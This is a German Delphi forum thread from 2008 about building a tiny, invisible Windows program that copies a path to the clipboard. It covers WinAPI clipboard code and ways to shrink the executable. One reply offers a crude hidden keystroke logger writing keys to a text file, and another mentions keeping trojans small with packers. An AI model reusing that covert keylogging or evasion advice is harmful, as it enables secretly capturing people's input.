Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   GUI-Design mit VCL / FireMonkey / Common Controls (https://www.delphipraxis.net/18-gui-design-mit-vcl-firemonkey-common-controls/)
-   -   Delphi Unsichtbares Programm (https://www.delphipraxis.net/113322-unsichtbares-programm.html)

Guido Eisenbeis 6. Mai 2008 02:18


Unsichtbares Programm
 
Mein Ziel ist ein Mini-Programm, das lediglich einen übergebenen Pfad in die Zwischenablage kopiert ("PathToClipboard). Dabei soll das Programm so klein wie möglich sein (habe eins mit 40 KB von einem anderen Autor gesehen), und selbstverständlich vollkommen unsichtbar laufen.

Version 1)
Mit "Application.ShowMainForm:= false;" habe ich in einer normalen VCL-Anwendung erreicht, dass ein Programm vollkommen unsichtbar läuft. Aber erstens ist es schon standardmäßig 400 KB groß (also 10x so viel) und zweitens weiß ich nicht, wie ich Code ausführen lassen kann, da kein Event mehr greift (ShowMessage wird weder im FormCreate noch im FormShow usw. ausgeführt).

Version 2)
Wenn ich ein Konsolenprogramm erstellen würde, würde dort wahrscheinlich ein Code abgearbeitet werden. Aber selbst wenn ich das Programm gleich danach beenden würde, würde die Konsole dennoch zumindest aufblitzen.

Meine Frage: wie kann ich ein vollkommen unsichtar laufendes Programm realisieren, das lediglich einen Befehl ausführt (CopyToClipboard) und sich dann selbst beendet?

Guido.

Mackhack 6. Mai 2008 03:35

Re: Unsichtbares Programm
 
So hab ich was geschrieben das nur lediglich im TaskManager sichtbar ist:

Delphi-Quellcode:
Program Project1;

Uses
  SysUtils, WINPROCS, Forms;

{$R *.RES}

Procedure XXX;
Var
  I    : Byte;
  X    : SmallInt;
  Datei : TextFile;
Begin
  AssignFile(Datei, 'Key.txt');
  If (Not FileExists('Key.txt')) Then
    ReWrite(Datei)
  Else
    Append(Datei);

  For I := 1 To 255 Do
  Begin
    X := GetAsyncKeyState(I);
    If (X AND $8000 <> 0) Then
      Write(Datei, Char(I));
  End;
  CloseFile(Datei);
End;

Begin
  XXX;
End.

Guido Eisenbeis 6. Mai 2008 03:40

Re: Unsichtbares Programm
 
Welchen Projekt-Typ muss ich denn verwenden? Konsole, VCL, ...?

Guido.

cruiser 6. Mai 2008 05:07

Re: Unsichtbares Programm
 
Konsole und dann die Compiler Direktive auskommentieren/löschen :mrgreen:

toms_ 6. Mai 2008 05:36

Re: Unsichtbares Programm
 
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.

christian_r 6. Mai 2008 05:43

Re: Unsichtbares Programm
 
Zitat:

Zitat von toms_
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.

Wenn er keine Proceduren, Nethoden oder Anderes aus den Units verwendet, werden diese nicht in das Programm eincompiliert.

Stelle Dir vor, Du hättest ein Programm, das verwendet aus einer Unit mit 500 Funktionen nur 4 davon. Dann müsstest Du per Hand die Unit optimieren, um 496 Funktionen zu entfernen, damit sie nicht in das compilierte Programm aufgenommen werden. Und das mach dann mal bei größeren Projekten mit 30-40 (oder mehr) Units.

toms_ 6. Mai 2008 05:47

Re: Unsichtbares Programm
 
Unter D6 ist es nicht so. Werden die Units nicht entfernt, ist die EXE-Datei 451 KB, ohne die beiden Units 12KB (Wobei sich dann mein Antivirus meldet...)

toms_ 6. Mai 2008 05:54

Re: Unsichtbares Programm
 
Nachtrag: Selbst bei D2007 ist es so.
Mit Forms: 391 KB, ohne Forms: 24 KB.

Bernhard Geyer 6. Mai 2008 06:06

Re: Unsichtbares Programm
 
Zitat:

Zitat von christian_r
Zitat:

Zitat von toms_
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.

Wenn er keine Proceduren, Nethoden oder Anderes aus den Units verwendet, werden diese nicht in das Programm eincompiliert.

Da diese Units auch weiter Units einbindet und auch in einigen davon Funktionen/Prozeduren/Klassen im Initalisation/Finalisation verwendet werden wird da zwangsweise schon einiges dazugebunden.

Luckie 6. Mai 2008 08:01

Re: Unsichtbares Programm
 
Zitat:

Zitat von christian_r
Zitat:

Zitat von toms_
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.

Wenn er keine Proceduren, Nethoden oder Anderes aus den Units verwendet, werden diese nicht in das Programm eincompiliert.

Das stimmt schon, aber viel kann auch im Initialization-Abschnitt passieren und bei der Unit Forms ist das definitiv der Fall.

himitsu 6. Mai 2008 08:15

Re: Unsichtbares Programm
 
tja, vorallem Forms und SysUtils bringen schön viel Overhead mit
(SysUtils vorallem wegen der Exceptions und den Formatvariablen wie LongDateFormat, CurrencyFormat und Co.)

und wenn er alle Units (abgesehn der Unit Windows) entfernt, ist es am Kleinsten,
aber das CopyToClipboard muß er sich dann wohl selber basteln und über die WinAPI gehn > MSDN-Library durchsuchenClipboard

agm65 6. Mai 2008 09:03

Re: Unsichtbares Programm
 
ich würde eine konsole anwendung vorschlagen, dann machst du von allen uses die du brauchst backups zB. sysutils_meins und löscht alle funktionen raus die du nicht brauchst...oder du legst dir eine uses an und kopierst dir dort alles rein was du brauchst ...so hab ich früher trojaner winzig gehalten ...zudem kannst du noch nen exepacker wie upx verwenden...

Guido Eisenbeis 7. Mai 2008 00:20

Re: Unsichtbares Programm
 
@Mackhack

Der erste Dank geht an dich! Dein Code hat mir den entscheidenen Tipp in die richtige Richtung gegeben! Hast ihn ja auch "mundgerecht" geliefert. Ich hab ihn nur entsprechend angepasst und siehe da, es funktioniert! (Ich poste ihn unten als eigene Antwort, um die Übersichtlichkeit zu erhalten.)


Zitat:

Zitat von cruiser
Konsole und dann die Compiler Direktive auskommentieren/löschen :mrgreen:

Zitat:

Zitat von toms_
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.

Mann seid ihr flott! *ernst-gemeint* Zu dem Zeitpunkt hatte ich das zwar auch schon per TrialAndError herausgefunden, aber dass das (von euch) bestätigt wird, ist natürlich viel besser! Vielen Dank!


@Alle

Es wurde ja oben schon ausreichend darüber diskutiert, ob Units einbinden = einkompilieren usw. Deshalb von mir nur noch, dass ich folgendes bestätigen kann: Mit Units eingebungen -> ab knapp 400 KB, ohne Units eingebunden -> 20 KB!

An alle vielen Dank!

Guido.

Guido Eisenbeis 7. Mai 2008 00:37

Re: Unsichtbares Programm
 
Den Tipp mit der eigenen Implementation einer Clipboard-Routine habe ich umgesetzt und dadurch die "Clipbrd"-Unit eingespart.
Quelle: "mittels API Text in die Zwischenablage schreiben". (Danke an OrallY!)

Hier meine Lösung:

Zur Veranschaulichung (gibts das Wort?) habe ich die Compiler Direktive für den Konsolen-AppTyp nur auskommentiert und ein ShowMessage eingebaut.

Eine Frage zum Befehl "OpenClipboard(0);":
Im Original-Tipp (siehe Quelle oben) wurde davon ausgegangen, dass dort das Handle der eigenen Form angegeben wird. Da mein unsichtbares Programm aber keine Form hat, habe ich 0 eingetragen. Ist das so in Ordnung, oder gibt das Querschläger, die im ersten Moment nicht sichtbar sind? Soll ich besser ein Handle verwenden? Z. B. per "GetDesktopWindow()"?


Delphi-Quellcode:
program Project1;

//{$APPTYPE CONSOLE}

uses
  Windows;


// Routine zum Speichern eines Textes in die Zwischenablage
procedure SetClipboardText(aText: PChar);

  procedure SetBuffer(Format: Word; var Buffer; Size: Integer);
  var
    Data: THandle;
    DataPtr: Pointer;
  begin
    OpenClipboard(0); //Clipboard wird für die Anwendung geöffnet (hWnd muss das Fensterhandle sein)
    try
      EmptyClipboard; // !Wichtig! Nur so kann das oben angegebene Fenster der "Besitzer" des Clipboards werden
      Data := GlobalAlloc(GMEM_MOVEABLE+GMEM_DDESHARE, Size);
      try
        DataPtr := GlobalLock(Data);
        try
          Move(Buffer, DataPtr^, Size);
          SetClipboardData(Format, Data);
        finally
          GlobalUnlock(Data);
        end;
      except
        GlobalFree(Data);
        raise;
      end;
    finally
      CloseClipboard; //und wieder den Clipboard freigeben
    end;
  end;

begin
  SetBuffer(CF_TEXT, aText^, Length(aText) + 1);
end;


// Main-Routine
begin
  { TODO -oUser -cConsole Main : Insert code here }

  if (ParamCount() > 0) then
  begin
    SetClipboardText(PChar(ParamStr(1)));

//    ShowMessage('ParamCount(): ' + PChar(IntToStr(ParamCount()) + #13#10 +
//                'ParamStr(0): ' + ParamStr(0) + #13#10 +
//                'ParamStr(1): ' + ParamStr(1)));
  end;

end.

rollstuhlfahrer 7. Mai 2008 13:39

Re: Unsichtbares Programm
 
HI,

du dürftest das Programm, so wie ich das sehe schon ein bisschen getestet haben.
Wenn dort kein Fehler auftrat und der Text danach auch wirklich in der Zwischenablage angekommen ist, würde ich mal ganz einfach sagen, dass du den Handle auf 0 lassen kannst. Ansonsten probierts mal mit einem Handle oder mit INVALID_HANDLE(_VALUE ??)

rollstuhlfahrer

himitsu 7. Mai 2008 13:47

Re: Unsichtbares Programm
 
MSDN-Library durchsuchenOpenClipboard
Zitat:

[in] Handle to the window to be associated with the open clipboard. If this parameter is NULL, the open clipboard is associated with the current task.
Wenn unbedingt ein Handle nötig wäre, dann hätt ich in solch einem Fall ein MSDN-Library durchsuchenMessageWindow (MessageOnlyWindow) vorschlagen :angel:

nicodex 7. Mai 2008 13:53

Re: Unsichtbares Programm
 
SetClipboardData sollte fehlschlagen, wenn man EmptyClipboard aufruft nachdem man kein Handle bei OpenClipboard angibt.

Guido Eisenbeis 7. Mai 2008 16:41

Re: Unsichtbares Programm
 
Hallo rollstuhlfahrer,

nachdem was ich bisher gefunden habe, ist INVALID_HANDLE(_VALUE) für Rückgaben gedacht. Dennoch vielen Dank!

Ansonsten dürfte die Frage mit dem 0-Handle geklärt sein. :oops:
Getreu dem Motto "Wer lesen kann, ist besser dran!" oder "Warum in die Ferne schweifen, ..."
Denn ein Blick in die Hilfe (Platform SDK) bringt folgende Erkenntnis zu Tage:

Zitat:

The OpenClipboard function opens the clipboard for examination and
prevents other applications from modifying the clipboard content.

Syntax

BOOL OpenClipboard(HWND hWndNewOwner);

Parameters

hWndNewOwner
[in] Handle to the window to be associated with the open clipboard.
If this parameter is NULL, the open clipboard is associated with the current task.

. . .
Jetzt könnte man höchstens noch eine Grundsatzdiskussion führen, ob 0 = NULL ist. Normalerweise wird in Delphi Nil für das NULL aus C++ verwendet. "OpenClipboard(nil);" wird jedoch vom Compiler nicht akzeptiert.

Guido.

himitsu 7. Mai 2008 16:48

Re: Unsichtbares Programm
 
hmmm, und mein MSDN-Auszug interessierte keinen *schnüff*

Zitat:

Zitat von Guido Eisenbeis
nachdem was ich bisher gefunden habe, ist INVALID_HANDLE(_VALUE) für Rückgaben gedacht. Dennoch vielen Dank!

z.B.: MSDN-Library durchsuchenCreateFileMapping siehe 1. Parameter (hFile)
INVALID_HANDLE_VALUE ist nur eine Konstante, welche festlegt, daß kein ObjectHandle vorliegt.


Zitat:

Zitat von Guido Eisenbeis
ob 0 = NULL ist. Normalerweise wird in Delphi Nil für das NULL aus C++ verwendet. "OpenClipboard(nil);" wird jedoch vom Compiler nicht akzeptiert.

Delphi:
0 für Handle
nil nur bei Pointern

Mackhack 7. Mai 2008 16:49

Re: Unsichtbares Programm
 
Zitat:

Zitat von himitsu
Delphi:
0 für Handle
nil nur bei Pointern

Das muesste man in jedem Subforum als Sticky haben. Ich glaube naemlich dass viele mit diesen 2 Werten staendig im Konflikt sind 8)

smallsmoker 7. Mai 2008 16:57

Re: Unsichtbares Programm
 
kp ob das hilft aber das habe ich selbst mal benutzt

Delphi-Quellcode:
procedure CopyTextToClipboard(aWnd: HWND; aText: PChar);
var
  Data: THandle;
  DataPtr: Pointer;
  Size: Integer;
  oldWND: HWND;
begin
  Size := Length(aText) + 1;
  OpenClipboard(aWnd); //Open Clipboard
  try
    EmptyClipboard; // Clear Clipboard
    oldWND := SetClipboardViewer(aWnd); // Clipboard für Programm registr.
    Data := GlobalAlloc(GMEM_MOVEABLE or GMEM_DDESHARE, Size); // Get Memory
    try
      DataPtr := GlobalLock(Data);
      try
        Move(aText^, DataPtr^, Size);
        SetClipboardData(CF_TEXT, Data); // Clpbrd-Format as Text & send Text
      finally
        GlobalUnlock(Data);
      end;
    except
      GlobalFree(Data); // Free res. Memory
      raise; // Get global Memory Err
    end;
    ChangeClipboardChain(aWnd, oldWND);
  finally
    CloseClipboard; //Close Clipboard
  end;
end;
Aufruf mit

Delphi-Quellcode:
CopyTextToClipboard(0, PChar('text'));

Guido Eisenbeis 7. Mai 2008 17:10

Re: Unsichtbares Programm
 
Mann, was seid ihr schnell! Das Folgende wollte ich eigentlich als Edit in meinen obigen Post einfügen, da kommt schon das nächste Posting rein! *Respekt*. Ich schreibe es jetzt hier, wie ich es oben posten wollte:

Oops, da waren ja noch zwei Postings! :oops:

@himitsu

Danke für den Hinweis. Habs mittlerweile auch gesehen. *rot-werd*
"MessageWindow" scheint es für Delphi Win32 nicht zu geben!?


@nicodex

Zitat:

Zitat von nicodex
SetClipboardData sollte fehlschlagen, wenn man EmptyClipboard aufruft nachdem man kein Handle bei OpenClipboard angibt.

Doch, scheint zu funkionieren! Auch dir danke!

Guido.




Und jetzt wieder das Aktuelle: (Und wehe es postet wieder jemand, bevor ich fertig geschrieben habe! :wall: )

Zitat:

Zitat von himitsu
hmmm, und mein MSDN-Auszug interessierte keinen *schnüff*

Doch, hab es ja dann doch gesehen! :oops: *sorry*

Zitat:

Zitat von himitsu
z.B.: MSDN-Library durchsuchenCreateFileMapping siehe 1. Parameter (hFile)
INVALID_HANDLE_VALUE ist nur eine Konstante, welche festlegt, daß kein ObjectHandle vorliegt.

Hab ich gesehen.

Zitat:

Zitat von himitsu
Delphi:
0 für Handle
nil nur bei Pointern

Danke!

Zitat:

Zitat von Mackhack
Das muesste man in jedem Subforum als Sticky haben. Ich glaube naemlich dass viele mit diesen 2 Werten staendig im Konflikt sind 8)

Sehe ich auch so. Vielleicht nicht ständig, aber alle Jahre wieder.

Danke an alle!

Guido.

Edit: Hat doch wieder einer zwischendurch gepostet! Ich bin einfach zu langsam! *grins* :cheers:

Guido Eisenbeis 7. Mai 2008 17:20

Re: Unsichtbares Programm
 
Hallo smallsmoker.

Dein Code ist nahezu identisch mit meinem, inclusive der Übergabe von 0 als Handle für OpenClipboard(). Lediglich zwei Unterschiede konnte ich feststellen: SetClipboardViewer() und ChangeClipboardChain(). Für mein Programm ist eine Registrierung als Clipboard-Viewer jedoch uninterssant.

Dennoch auch dir vielen Dank!

Guido.

himitsu 7. Mai 2008 17:36

Re: Unsichtbares Programm
 
erstellen eines Message-Only-Windows
Delphi-Quellcode:
Var VI: TOSVersionInfo;
  S: String;

VI.OSVersionInfoSize := SizeOf(TOSVersionInfo);
If GetVersionEx(VI) and (VI.MajorVersion >= 5) Then
  S := 'Message' Else S := 'STATIC';
MessageWindow := CreateWindowExA(0, PChar(S), nil,
  WS_POPUP, 0, 0, 0, 0, 0, 0, GetCurrentProcessID, nil);
Quelle: MSDN > About Window Classes



alternativ kann man auch eines erstellen, indem man einfach ein neues Window (STATIC) erstellt und ihm als Parent ein anderes Message-Only-Window verpaßt

Guido Eisenbeis 7. Mai 2008 17:50

Re: Unsichtbares Programm
 
Hallo himitsu,

danke, diesen Tipp werde ich bestimmt noch brauchen können.

Guido.

himitsu 7. Mai 2008 18:07

Re: Unsichtbares Programm
 
nja viele lassen ja ihre "privaten" Messages über die Fensterprozedur (TForm), oder über die Application (TApplication) laufen.

aber wenn man mal ohne diese Fenster (TForm und TAplication) auskommen muß, dann bietet sich hervoragend sowas an ... ist ja extra da, damit man daran Fensternachrichten (SendMessage und Co.) senden und sie natürlich auch empfangen kann :)


PS: der Zwischenspeicher arbeitet teilweise auch über Fensternachrichten, drum wird auch manchmal ein Fenster benötigt 8)

Guido Eisenbeis 18. Mai 2008 05:51

Re: Unsichtbares Programm
 
OK, mein Programm ist fertig und trägt den Namen "ThoGi ContextmenuTools".
Mit ihm ist es möglich, zwei Funktionen zum Explorer-Kontextmenü hinzuzufügen:

"DOS Prompt Here" -> öffnet ein Konsolenfenster im entsprechenden Verzeichnis.
"Path To Clipboard" -> kopiert den Pfad der/des angeklickten Datei/Ordners in die Zwischenablage.

So weit, so gut! (Fast) alles funktioniert einwandfrei, inklusive dem Entfernen der Registry-Keys beim Deinstallieren. Eine klitzekleine Winzigkeit fordert meinen Hang zur Pedanterie :mrgreen: *smile*:

Beim Kopieren des Pfades von Verknüpfungen wird halt nicht der Pfad der Vernküpfung in die Zwischenablage kopiert, sondern der Pfad des Verknüpfungs-Ziels.

Beispiel:

Man klickt mit rechts eine Datei an, das Kontextmenü öffnet sich und man wählt "Path To Clipboard". Über den entsprechenden Registry-Eintrag wird meine Applikation gestartet und ein Pfad übergeben.
Ist die angeklickte Datei eine "normale" Datei, z. B. "C:\Test.txt", so wird dieser Pfad korrekt übergeben.
Ist die angeklickte Datei jedoch eine Verknüpfung, z. B. "D:\Test.txt.lnk", so wird dann der Pfad zur Ziel-Datei, also in diesem Fall "C:\Test.txt" übergeben.

Wie kann ich dieses Problem nun so lösen, dass auch bei Verknüpfungen nicht der Pfad zur Ziel-Datei, sondern der Pfad der Vernküpfung selbst übergeben wird? (Wie gesagt, meine App bekommt den Pfad über den Registry-Eintrag, der für das Kontextmenü zuständig ist.)

Ok, ich habe einige andere Tools getestet, die die gleiche Funktionalität zur Verfügung stellen, und es ist bei allen so, dass bei Verknüpfungen der Pfad zum Ziel und nicht der zur Verknüpfung übergeben wird. Wenn wir also hierfür keine Lösung finden, ist das nicht so schlimm. Aber mein Ehrgeiz würde sich freuen, wenn es doch eine Lösung gäbe! *freu*

Guido.

BullsEye 18. Mai 2008 09:34

Re: Unsichtbares Programm
 
Ich weiß nicht sicher aber Theoretisch müsste es doch klappen, wenn du das CTI (Cool Tray Icon) verwendest.
Dann das MainForm und den Taskbar eintrag verschwenden lässt und kein Tray Icon benutzt! Dann ist es auch nur noch im Taskmanager zu sehen, allerdings weiß ich nicht, wie groß das Programm ist!

Guido Eisenbeis 18. Mai 2008 12:01

Re: Unsichtbares Programm
 
Hallo BullsEye.

Zitat:

Zitat von BullsEye
Ich weiß nicht sicher aber Theoretisch müsste es doch klappen, ...

Was müsste klappen? Das Problem, mein Programm unsichtbar laufen zu lassen, ist gelöst. Es gilt das Problem mit den Pfaden zu Verknüpfungen zu lösen! (Siehe #27)

Ich dachte, ich poste es hier, da es sich auf dieses Programm bezieht. Sollte es hier nicht hingehören, öffne ich einen extra Thread.

Guido.

BullsEye 18. Mai 2008 12:08

Re: Unsichtbares Programm
 
Zitat:

Zitat von Guido Eisenbeis

Ich dachte, ich poste es hier, da es sich auf dieses Programm bezieht. Sollte es hier nicht hingehören, öffne ich einen extra Thread.

Guido.

Da es ein neues Problem ist, denke ich wäre es sinnvoller einen neuen Thread zu eröffnen! Da anicht jeder erst 3 Seiten durchließt um auf dem neusten Stand deines Problemes zu sein. Außerdem könntest du somit auch vllt anderen helfen, die das gleiche Problem haben

Guido Eisenbeis 18. Mai 2008 12:49

Re: Unsichtbares Programm
 
Schade, dass manche nur den Titel eines Threads lesen!?

Ich bemühe mich in meinen Threads immer im jeweils letzten, oder vorletzen Posting meine aktuelle Frage wieder auf den Punkt zu bringen. Ein Leser müsste sich also mit dem Lesen der 2 - 3 letzten Postings einen guten Überblick verschaffen können!


Ich habe nun für das neue Problem einen neuen Thread geöffnet:

Pfad zu Verknüpfungen per Kontextmenü (Registry) übergeben

Guido.


Alle Zeitangaben in WEZ +1. Es ist jetzt 14:26 Uhr.

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz